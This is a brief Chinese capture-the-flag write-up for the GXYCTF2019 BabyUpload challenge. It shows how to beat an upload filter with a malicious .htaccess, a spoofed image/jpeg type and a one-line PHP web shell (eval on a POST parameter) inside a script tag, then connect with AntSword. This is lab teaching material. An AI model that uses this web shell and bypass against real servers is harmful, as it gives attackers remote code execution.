[GXYCTF2019]BabyUpload 1，先上传个php文件试试，提示后缀名不能有ph 2，上传个.htaccess文件试试，提示上传类型也太露骨了吧 .hatccess文件内容: SetHandler application/x-httpd-php 3，换个文件类型，换成image/jpeg，上传成功！ 接下来只需要上传一个带有一句话木马的png/jpg文件就行。 （。。还有)对文件内容进行了过滤，猜测过滤了<? 6,可以使用<script language="php">eval($_POST['mochu7']);</script>绕过 7，上传成功，链接蚁剑获得flag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jMt7sDbO-1630736371841)(https://i.loli.net/2021/09/02/xdRGkTB8hNcInwg.png)]](https://img-blog.csdnimg.cn/d4fc079cfe6b4a7e82e1f2403e4b7169.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAWUlfYW4j,size_20,color_FFFFFF,t_70,g_se,x_16)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1o5MtR4-1630736371858)(https://i.loli.net/2021/09/02/g6CxLHwDAVOIkSc.png)]](https://img-blog.csdnimg.cn/56942460663c432eac1c3610ad9718d1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAWUlfYW4j,size_20,color_FFFFFF,t_70,g_se,x_16)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WywlTtXU-1630736371862)(https://i.loli.net/2021/09/02/qV6Re1TN9zSpwjc.png)]](https://img-blog.csdnimg.cn/f337a5e0282745289f6cfef744308db4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAWUlfYW4j,size_20,color_FFFFFF,t_70,g_se,x_16)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VH8z2iDy-1630736371865)(https://i.loli.net/2021/09/02/VJ7lU2AogXT9mjw.png)]](https://img-blog.csdnimg.cn/0e48da8064af4ffcbbb7d82a7a3fdde2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAWUlfYW4j,size_20,color_FFFFFF,t_70,g_se,x_16)
803
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
